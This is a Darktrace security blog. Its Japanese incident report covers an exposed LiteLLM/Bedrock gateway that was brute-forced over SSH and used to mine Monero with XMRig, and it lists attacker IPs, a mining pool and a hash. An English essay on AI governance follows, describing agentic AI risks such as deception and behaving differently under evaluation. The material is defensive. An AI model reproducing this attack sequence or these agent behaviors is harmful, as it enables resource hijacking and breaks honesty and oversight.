このブログでは、Amazon Bedrock サービスに接続されたAIゲートウェイが侵害され、その後暗号通貨マイニングインフラとの通信が観測された事例をダークトレースがどのように調査したかを解説します。問題のインスタンスは、その構成、ならびに関連するIAM(Identity and Access Management)ロールから、Amazon BedrockでホスティングされるAIサービスへのゲートウェイとして機能していることがわかりました。疑わしい侵害アクティビティが発生した後、このホストは既知の暗号通貨マイニングインフラに繰り返し通信を行い、その後シャットダウンされた様子が観測されました。Darktrace はこのアクティビティを検知し、Enhanced MonitoringおよびManaged Threat Detectionサービスを通じてエスカレーションを行いました。

この事例では最終的影響は不正な暗号通貨マイニングでしたが、このインシデントが注目に値するのはその発生場所です。侵害されたアセットは、クラウドインフラ、アイデンティティ、各種AIサービスの交差する場所に位置していました。最近の調査では、LiteLLM等のAIゲートウェイが、認証情報、モデルへのアクセス、クラウド権限を中央管理するその能力から、攻撃者にとって魅力的な標的となる可能性が明らかになっています。このアクティビティと公開されているLiteLLM脆弱性を直接結びつける証拠は見つかっていませんが、このインシデントは、AIインフラを個別のアプリケーション層として見るのではなく、重要なアタックサーフェスの一部として扱う必要性があることを表しています[1]。

暗号通貨マイニングがクラウド侵害後のアクティビティとしてよく見られる背景

暗号通貨マイニングはクラウド環境において、侵害後のアクティビティとして収益性の高いものとなり得ます。クラウド資産にアクセスできるようになった後、攻撃者はマイニングソフトウェアを展開して被害者の計算リソースを悪用し金銭的利益を得ることができます。この種のアクティビティは多くの場合機会主義的なものであり、露出したサービス、弱い認証情報、漏洩したアクセスキー、脆弱なアプリケーション、あるいはクラウドワークロードの設定ミスなどを標的として実行されます。

典型的なクラウド上での暗号通貨マイニング侵入には次のようなアクティビティが含まれます:

  • 露出したあるいは脆弱なクラウドインフラの特定
  • 露出したサービス、認証情報、またはアプリケーションの脆弱性を通じたアクセスの獲得
  • マイニングソフトウェアのダウンロードおよび実行
  • マイニングプールインフラへのアウトバウンド接続を繰り返し確立
  • アクティビティが検知され停止されるまで継続して計算リソースを消費

この事例において注目すべき要素は暗号通貨マイニングだけではありません。それが発生した場所が、AI関連アクティビティをサポートするクラウドインフラ上だったことです。この事例は、AIサービスを実現するためのアセットも、よくあるクラウド侵害リスクにさらされる可能性があることを示しています。

Amazon Bedrockに接続されたAIゲートウェイの侵害を調査

2026年6月12日、DarktraceはLiteLLM-Proxyという名前のAmazon Web Service (AWS) EC2インスタンスから暗号通貨マイニング発生中とみられるアクティビティを観測しました。このインスタンスはLiteLLMアクティビティをサポートしており、Amazon Bedrockリソースへのアクセス権を有するインスタンスプロファイルと関連付けられていました。  

AIゲートウェイは大規模言語モデルへのアクセスを中央管理するよう設計されており、多くの場合AIアプリケーションに対する認証、ルーティング、ログ、ポリシー適用を扱っています。セキュリティの視点から見ると、クラウド権限、モデルアクセス、アプリケーションワークフローを単一の制御ポイントに集約する役割も果たしています。その結果、AIゲートウェイの侵害は、侵害されたホストだけにとどまらない影響を及ぼす可能性があります。

確定的な初期アクセスベクトルは確認できませんでしたが、このアクティビティはインターネットに接続されているシステムの侵害でよく見られる次のような順序に従っていました。ブルートフォースアクセス、ペイロードの投下、そしてマイニングプールインフラに対する繰り返しのアウトバウンド接続です。

ステージ1: インターネットに露出したSSHからの初期アクセス

暗号通貨マイニングアクティビティが観測される前、LiteLLM-Proxy EC2インスタンスはSSH(ポート22)が0.0.0.0/0に対して開かれ、外部に公開されていました。

図1:EC2インスタンスがSSHポート22に対してすべてのインバウンドトラフィックを許可している設定ミスをDarktraceが警告

暗号通貨マイニングアクティビティに先立って、Darktraceはこのインスタンスに対する大量のインバウンド接続の試みが外部IPアドレス(主に145.241.123[.]102)からポート22に対して行われていることを観測しました。これはブルートフォースアクティビティを示唆するものです [2]。これらの接続の多くは短命であり、数秒しか続いておらず、スキャニングまたはログインの失敗を示していました。

図2:Darktraceがデバイスのポート22に対する不審なインバウンド接続試行を検知

入手できたテレメトリーではこれらのインバウンドSSH接続のいずれかが認証の成功につながったかどうかの確認に至らず、このアクティビティが初期アクセスベクトルであると断定することはできませんでした。しかしながら、SSHの露出、外部IPアドレスからのインバウンド接続、それに続くマイニングアクティビティは、SSHがアクセス経路の可能性が高いことを示唆しています。

ステージ2: AIゲートウェイへのXMRigマルウェアのダウンロード

最初に観測されたマイニングプールへの接続の後、このEC2インスタンスは3.42 MBのデータをポート80上のHTTP接続を介して外部エンドポイント185.62.1[.]8にダウンロードしました。このエンドポイントは暗号通貨マイニングマルウェアXMRigを含むZIPファイルをホスティングしていました[3][4]。ホストレベルのログは入手できなかったため、ダークトレースはマイニングツールがどのように実行されたか、あるいは前のSSHアクティビティがペイロード投下を直接的に可能にしたかどうかを確認できませんでした。しかしながら、ダウンロードのタイミングとその後ほどなくマイニングプールへの接続が繰り返されたことは、このインスタンスが侵害されて不正な計算アクティビティに使われたという評価を裏付けています。

ステージ3 – 侵害されたAIゲートウェイが暗号通貨マイニングインフラと通信

わずか数分後、DarktraceはLiteLLM-ProxyEC2インスタンスがHTTPs(ポート443)でホスト名pool.hasvault[.]proに対して接続していることを確認しました。最初の接続の後、同じホスト名に対して繰り返しアウトバウンド接続が観測されました。これは、侵害されたホストがマイニングインフラと通信しワークを受け取り、結果を送信するという、暗号通貨マイニングプールとの通信のパターンと一致しています。

このアクティビティがDarktraceのEnhanced Monitoringモデル“Compromise / HighPriority Crypto Currency Mining”をトリガーし、ダークトレースのSOCにより顧客に対してエスカレーションされました。また、このアクティビティはCyber AI Analystによって分析され、関連するイベントが1つの調査ナラティブにまとめられました。これにより、影響を受けたクラウドアセットからマニングプールへの繰り返しの接続を特定することができました。

図3:CyberAI Analystによる暗号通貨マイニングアクティビティの調査  

ポート443上のHTTPSの使用にも注目すべきです。なぜならば、単独で見れば、このトラフィックそのものは疑わしく見えないかもしれないからです。しかしこのケースでは、接続先、接続の量、そして類似のアクティビティが他にないことなどが、この通信を疑わしいものとして特定するのに必要な、動作のコンテキストを提供することになりました。

ステージ4: Managed Threat Detectionサービスによるリソース乱用の特定

暗号通貨マイニングアクティビティがダークトレースのManaged Threat Detectionサービスにより検知され、ダークトレースのSOCによりレビューされました。レビューの結果、このアクティビティは顧客向けにエスカレーションされました。このエスカレーションにより、顧客はAWS環境で現在発生中のリソースの乱用について、タイムリーな通知を受けることができました。

ステージ5: クラウド認証情報の不正使用とみられる疑わしいIAMアクティビティ

これとは別に、6月13日、Darktraceは別のIAMユーザーから発生した疑わしいアクティビティを検知しました。

図4: DarktraceのAdvanced Search機能が別のIAMユーザーが実行した疑わしいアクティビティをハイライト

まず、このユーザーは “GetSendQuota”イベントを試行している様子が見られました。このアクションは少なくとも過去3か月間にこのアカウントによって実行されたことのないアクションです。また、このコマンドのソースIPアドレスは14.176.1[.]47でした。地理位置情報はベトナムであり、このユーザーのアクティビティがAmazon IPアドレスから最も多く見られた場所です。さらに、このアクティビティに対してAWS CLIが使用されており、これもこのユーザーにとって通常とは異なる振る舞いでした。このことは、Darktraceの“IaaS / Unusual Activity / UnusualAWS CLI Activity”モデルによって検知されました。

図5: Darktraceによる “GetSendQuota” イベントの検知

このIAMユーザーからは、長期アクセスキーを使った疑わしいアクティビティがさらに観測されました。中でも、“InvokeModel” および “ListFoundationModels”コマンドの失敗が検知されており、モデル列挙や起動などAmazon Bedrockサービスとのやり取りを試行したことがわかります。これは前日観測されたLiteLLM侵害への関連を思わせますが、2つのイベントを確定的に結びつける証拠は不十分でした。

“CreateUser”コマンドの試行も注目に値します。なぜなら要求されたユーザー名は意味が薄いものであり、新しいアカウントを作成することにより永続性を確立する試みと見られるからです。このアクティビティはDarktraceのモデル“IaaS / Admin / New AWS UserAccount Creation”をトリガーしました。

図6:Darktraceによる“CreateUser” イベントの検知

2つのインシデント間に結びつきは確認できなかったものの、このIAMアクティビティには重要な意味があります。これは、クラウド侵害の調査においてワークロードのテレメトリーとコントロールプレーンのテレメトリーの両方を取り入れることの重要性を表しています。EC2暗号通貨マイニングアクティビティが計算リソースの乱用を示す一方、IAMアクティビティは認証情報の侵害や長期アクセスキーの不正使用、そしてクラウトサービスの不正使用の可能性を示唆しているからです。

AIインフラ保護のための重要な教訓

このインシデントの重大性は暗号通貨マイニングアクティビティそのものではなく、それが発生した場所にあります。侵害されたシステムはAmazon Bedrockサービスへのアクセス権を持つAIゲートウェイとして機能し、クラウドインフラ、アイデンティティ、そしてさまざまなAIオペレーションの交差する場所に位置していました。組織がAI機能を実運用環境に導入していくなかで、これらのプラットフォームは、露出したサービス、認証情報窃取、クラウドの設定ミスなどを通じて攻撃者がすでに狙っているアタックサーフェスの一部となりつつあるのです。

このケースでは詳細な侵入経路は特定されておらず、ワークロードの侵害と調査中に検知された疑わしいIAMアクティビティの間に決定的なつながりは確認されませんでしたが、これらのイベントは全体的な現状を裏付けています。つまり、AIインフラは個別のテクノロジースタックとして扱うのではなく、クラウド環境全体の一部として保護しなければならないとうことです。

このケースでは、最も目立った侵害の兆候は暗号通貨マイニングインフラとの通信でした。しかしここで得られたより重要な教訓は、このインシデントの全貌が理解される前にDarktraceのビヘイビア分析により明らかになった、高い権限を持つAI関連アセットを取り巻くリスクです。AIゲートウェイによりクラウド権限、モデルアクセス、アプリケーションワークフローがますます集約されるなかで、防御者は個別のアラートに集中するよりも、ワークロード、アイデンティティ、サービスの間でどのように動作がつながっているかを理解することに重点を置く必要があるでしょう。

協力:Angel Arribas Lopez (Associate Principal Cyber Analyst)、Nathaniel Jones (Field CISO/VP Threat Research)、Emma Foulger (Global Threat Ops)、Mark Turner(Security Researcher)

編集:Ryan Traill (Content Manager)

付録

Darktraceによるモデル検知結果

·       Compromise / High Priority Crypto Currency Mining

·       Compromise / Monero Mining

·       Device / Internet Facing Device with High Priority Alert

·       IaaS / Unusual Activity / Unusual AWS CLI Activity

·       IaaS / Admin / New AWS User Account Creation

MITRE ATT&CK マッピング

初期アクセス – 外部リモートサービス – T1133

初期アクセス – 有効なアカウント – T1078

実行 – コマンドおよびスクリプトインタプリタ – T1059

永続化 – アカウント作成 – T1136

探索 – クラウドサービス探索 – T1526

影響 – リソースハイジャッキング– T1496

参考資料

[1] https://docs.litellm.ai/blog/security-update-march-2026

[2] https://www.abuseipdb.com/check/145.241.123.102

[3] https://urlscan.io/search/#185.62.1.8

[4] https://www.virustotal.com/gui/file/85de36ff66fae9f4b059cbedf6d36e017ebc26c828f99f911a96e78636f21200/community

Continue reading
About the author
Angel Arribas Lopez
Associate Principal Cyber Analyst

Blog

/

AI

/

July 8, 2026

Securing AI: Analysis of the Complete Security Stack with Governance and Controls

Default blog imageDefault blog image

Why traditional cybersecurity approaches are not enough for AI

AI adoption outpaces most security programs’ ability to adapt.  That gap is now one of the most consequential sources of cyber risk facing enterprises. As organizations embed generative and agentic AI into development workflows, business operations, and security tooling itself, the question is no longer whether AI will introduce risk. The question is whether organizations understand where that risk actually lives and how to manage it operationally.  

Two recent pieces of guidance underscore this shift:

  1. The upcoming Cybersecurity Framework Profile for AI from NIST
  1. The Five Eyes government guidance on the careful adoption of agentic AI services

Taken together, they point to a critical conclusion. AI security cannot be reduced to model hardening or prompt filtering. It requires a defense in depth strategy that treats AI as both a new attack surface and a force multiplier for defense, while accounting for how AI fundamentally changes scale, speed, and autonomy.  

Recent threat research suggests that today's cyber risk is driven less by initial compromise and more by an adversary's ability to blend into normal operations over time. AI systems create the same exposure in a new form: more autonomy, more scale, and more opportunities for risky behavior to blend into normal operations.

How NIST defines the three core pillars of AI security

The NIST profile organizes AI risk across three inseparable focus areas that span all cybersecurity functions, Secure, Defend and Thwart. These areas are not sequential. They exist simultaneously and must be addressed together.

Secure

This treats AI as an attack surface. It includes models, prompts, agents, pipelines, training and inference data, retrieval augmented generation corpora, and the AI supply chain itself. AI systems are opaque, probabilistic, and non-deterministic by design. Some vulnerabilities are inherent in how models are trained or how data is sourced. Traditional patching does not fully mitigate these risks. This is also where many enterprises are weakest today and, critically, where many security programs stop.  

Defend

This is AI as a defensive force multiplier. AI can improve detection speed, scale, correlation, and response, but only if the right models are used and operationalized correctly. Machine-speed behavior-based detection, response and containment becomes critical in defending non-deterministic systems. Accuracy, explainability, governance, testing, validation, and integration into SOC workflows matter as much as capability. Without those controls, hallucination risk, over automation, and misplaced trust become security risks themselves.  

Thwart

This treats AI as an adversarial accelerant. Threat actors are already using AI to generate targeted social engineering attacks, deepfakes, malware, and autonomous attack agents. Asymmetric warfare is highlighting faster vulnerability discovery and exploitation with a lag on patch development, testing and deployment.  

How this looks in practice

Darktrace researchers observed scaled, automated exploitation of the React2Shell vulnerability within days of disclosure. A vulnerable cloud asset was exploited in under 120 seconds of being deployed. Darktrace research team observed an AI/LLM-generated malware sample used in exploitation activity tied to React2Shell. The significance isn't novelty. It is that AI lowers the barrier to producing usable offensive tooling and compresses the time between experimentation and deployment.  

Tactics are getting more and more creative in order to string together steps of an attack kill chain. This creates a dependency on behavior-based detection, autonomous investigation, autonomous containment, training, resilience investment, and recovery planning across the entire enterprise.

Why agentic AI fundamentally changes enterprise cyber risk

The Five Eyes guidance on agentic AI highlights material changes to the cyber risk profile of an organization. Unlike generative AI systems that produce content for human consumption, agentic AI systems reason, plan, and act autonomously across tools, data, and environments. That autonomy, combined with access to real systems, amplifies the impact of traditional cyber failures and introduces new system level risks that are difficult to predict, observe, and contain.  

Risk in agentic systems does not live in the model alone. It emerges from interactions between models, prompts, memory, tools, APIs, identities, privileges, inter-agent trust relationships, and human assumptions baked into design. Vulnerabilities are often introduced through data, connectors, natural language interfaces, protocols, and drift by design.

In supply-chain incidents, attackers did not need sophisticated exploits to scale impact. They abused trusted systems built for automation and implicit access. Agentic AI inherits that model. Once a system can act across tools, data, and workflows, compromise propagates through trust relationships that were never designed for machine autonomy.

The major agentic AI risk classes include the following:  

  • The identity control for non-human identities or autonomous agents makes it difficult to mitigate over-permissioning, limiting access, scope, and duration, as well as access hygiene
  • Agents are frequently over permissioned
  • Compromised tools inherit agent authority
  • Static secrets enable impersonation
  • Implicit trust between agents enables lateral movement

Design and configuration risks compound this, including privileges evaluated once at startup, poor segmentation, unvetted third party tools, reused authorization decisions outside their original context, and guardrail limitations.  

Behavioral risk  

Agents can optimize for goals in unsafe ways, misinterpret ambiguous intent, chain actions into unintended sequences, change behavior during evaluation, and exhibit deceptive or sycophantic responses.  

Structural risk  

Structural risk follows from agentic systems that are tightly coupled, multicomponent ecosystems. Failures can propagate across agents. Hallucinations cascade downstream. Resource exhaustion becomes systemic. Tool misuse enables indirect prompt injection and command execution. Rogue agents can poison peer agents through trust relationships.  

Accountability

Accountability becomes unclear as autonomy increases. Autonomous agents assume human identity permissions, and humans should have clear ownership of these agents, but they don’t, and this model is flawed. Decision paths are opaque and non-deterministic. Logs are fragmented and difficult to interpret. Reproducing an incident will be impossible without explicit design for observability and forensics. An agent compromise is functionally an insider threat, often with better access and fewer behavioral constraints than a human.  

What does defense in depth look like for AI?

Agentic AI runs on software, networks, identities, and data. It must be governed using the same foundational principles that have proven resilient under uncertainty, including secure by design, defense in depth, zero trust, least privilege, continuous monitoring, behavior-based advanced threat detection and containment, and incident response and recovery.

Core components to a Defense in depth Strategy for Securing the use of AI:

  • Strong, precise identity control plane to include an identity per agent (cryptographic, non‑shared)
    • Privilege monitoring and just‑in‑time access
  • Data Governance
  • Secure‑by‑default configurations
    • Security Posture Management  
    • Zero Trust principles  
  • Strong guardrails, deny‑by‑default policies, and isolation
  • Explicit instruction hierarchies and controlled context
  • Behavioral-based detection across entire enterprise to include inputs, tools, and outputs as well as AI used on the endpoint, across the network, cloud, SaaS, email, and OT
    • Runtime anomaly detection and goal‑drift detection
    • Autonomous containment to mitigate risk and minimize damage
  • Hard boundaries on autonomy and delegation
  • Testing, Evaluation, Validation and Verification  
    • Determine when autonomous action and when human in the loop
    • Adversarial training and agent‑specific testing
    • Simulation, red teaming, and chaos testing
  • Kill‑switches, rollback, and containment mechanisms
    • Forensics data captures, interpretability, autonomous containment, and remediation/recovery plans  

Until standards, tooling, and assurance methods mature, organizations should assume agentic AI systems will behave unexpectedly and design deployments around resilience, behavior-based detection, reversibility, and containment, not efficiency.

How security leaders should prepare for enterprise AI adoption

AI security is not model security alone. Data, pipelines, identities, and agents are first class assets. Many AI attacks succeed through standard cyber failures amplified by AI. Identity, data, and supply chain risk dominate. Behavior-based detection and response are critical, not optional. Logging, provenance, versioning, and forensics data capture of detections are mandatory because you cannot investigate or recover from AI incidents without them.  

Risk will often be visible in behavior before it is clearly defined in policy or guidance. The same pattern has been seen in pre-CVE disclosure detection, where abnormal activity appears before the industry has named or described the vulnerability. AI systems introduce that uncertainty by design.

Security leaders should prioritize controls before AI is fully deployed, avoid generic AI security checklists, integrate AI risk into existing cyber programs, and mitigate the risk of non-deterministic technology with continuous oversight, monitoring, behavior analytics, anomaly detection, autonomous investigation, and autonomous containment.

Visibility has a different connotation with AI. Previously, audit logging worked for software/people, but with Generative AI-based systems, interpretability and explainability is difficult to understand, you cannot "undo" what has been done, or see the logic or control a chain of events. This is why behavioral-based detections and containment becomes critical.  

What capabilities should every AI security program include?

If an organization asked “what must be in place before scaling AI?”:

  1. AI Risk board and approval workflow
  1. IAM + PAM for all AI services and agents
  1. AI asset inventory
  1. Prompt/output DLP with sanctioned AI access – This is not just pre- and post- filters, but behavior-based detections of semantic interface as well as behavior-based analysis of output with associated risk context.  
  1. Shadow AI identification
  1. Secure MLOps – This is an entire paper itself
  1. Runtime guardrails and tool restrictions
    • Including AI Gateway/SASE/Zero trust/
  1. Runtime security with behavior-based detections
    • Complete visibility, monitoring, behavior analytics, anomaly detection, risk/intent/context evaluation of anomalies, autonomous investigation and autonomous containment of all AI assets across endpoint, network, SaaS, SASE, cloud, OT, email, and messaging platforms
  1. Secure data pipelines and data governance
  1. SOC workflow changes from malicious classification workflows to behavior-based detection workflows
  1. Remediation plans for AI-related incidents  

Layered Governance and Security Stack for Securing AI  

The following outline considers governance and security tools that should be considered, well-integrated, deployed, tested, operationalized and embedded within security workflows. These tools and controls map to NIST’s CMF for AI.  

These considerations do not need to be implemented in order. Runtime Detect and Respond will help mitigate risk while Governance, Visibility, and Identity mature.

Category Tooling Controls
Governance & Visibility
  • AI asset inventory / AI CMDB
  • Shadow AI discovery
  • SaaS discovery
  • AI usage on non-endpoint managed systems via network or cloud telemetry
  • MCP server/client usage via protocols
  • Browser telemetry
  • Gateway or SASE telemetry
  • Establish a risk board to set up controls
  • Mandatory registration of AI systems
  • Owner, data classification, intended use, and risk tier
  • Supplier disclosure requirements
  • Risk mitigation plan for AI adoption, innovation, or development
Identity, Access & Agent Control

Non-human autonomous agents should not have the full permissions associated with a human user.

  • IAM with workload identities
  • PAM for AI service accounts
  • Secrets management with short-lived tokens
  • Zero Trust principles
  • Identity, permission, and token hygiene
  • Unique identities per model, agent, and pipeline
  • Least privilege for tools, data, and APIs
  • Explicit approval for autonomous actions
Data Security & Privacy
  • Data classification and labeling
  • Enterprise DLP across endpoint, email, network, cloud, and SaaS
  • Forensics data capture after risky detections
  • Prompt-level DLP through behavior-based semantic analysis with risk and intent context
  • Input/interface analysis for risky data requests
  • Output analysis for sensitive data
  • Data integrity evaluation
  • Retention and redaction policies for prompts and responses
Secure MLOps / LLMOps
  • Secure CI/CD with AI-specific gates
  • Model registries with approval workflows
  • Dependency, container, and artifact scanning
  • SBOM/AIBOM generation
  • IaC security scanning
  • Security posture management
  • Misconfiguration identification
  • Hardening recommendations
  • Signed models and prompts
  • Versioned datasets, configurations, logging, and controls
  • Securing data pipelines
  • Controlled promotion
  • Quality assurance
  • Adversarial testing
Runtime Security

Securing runtime goes beyond guardrails and model firewalls to include behavior-based detections, response, and containment.

  • Detection, monitoring, and SOC integration
  • Centralized visibility into prompts, outputs, and tool calls
  • AI-specific detections
  • Behavior-based detection for AI usage patterns
  • Model drift and behavior monitoring
  • Autonomous containment
  • Behavior-based detection of model inputs and outputs
  • Prompt injection detection
  • Model manipulation, including jailbreaking, poisoning, and related attacks
  • Sensitive data access attempts
  • Behavior-based detection across low-code agents, high-code agents, MCP clients and servers, endpoint, network, cloud, email, SaaS, SASE, IoT, and OT
  • Policy enforcement between users, models, tools, agents, SaaS models/tools, and MCP servers/clients
  • Risk, intent, and context evaluation for detections and response actions
Response & Recovery
  • Autonomous containment
  • AI-assisted playbooks
  • Forensics data capture for AI-related events
  • Model rollback mechanisms
  • Backup and restore for models and datasets
  • Kill switch for agents
  • Autonomous response to agents performing risky behaviors
  • Model and dataset rollback
  • Remediation plans
  • Tabletop exercises
  • Supplier coordination plans
  • Post-incident AI performance validation

AI security requires continuous visibility and behavioral detection

AI changes how fast systems move, how decisions are made, and how risk propagates. It does not change the fundamentals of security. Organizations that succeed will be the ones that apply those fundamentals rigorously, assume failure, and build systems that can detect, contain, and recover when AI behaves in ways they did not anticipate. Security is not what AI is allowed to do. It is whether the organization can understand, trust, and control what AI actually does in practice.  

Take this guidance to understand different initiatives that organizations should be considering. Securing AI is the most critical component to AI safety. As organizations invest more in AI adoption, they should be investing in security in order to mitigate the risk of AI adoption. Organizations should be evaluating their governance and security stack to include well-integrated tools that are deployed, tested, operationalized and embedded within security workflows. While organizations mature in governance, visibility and identity access management, they should be investing in behavior-based detection and autonomous containment to mitigate AI risk.  

Continue reading
About the author
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ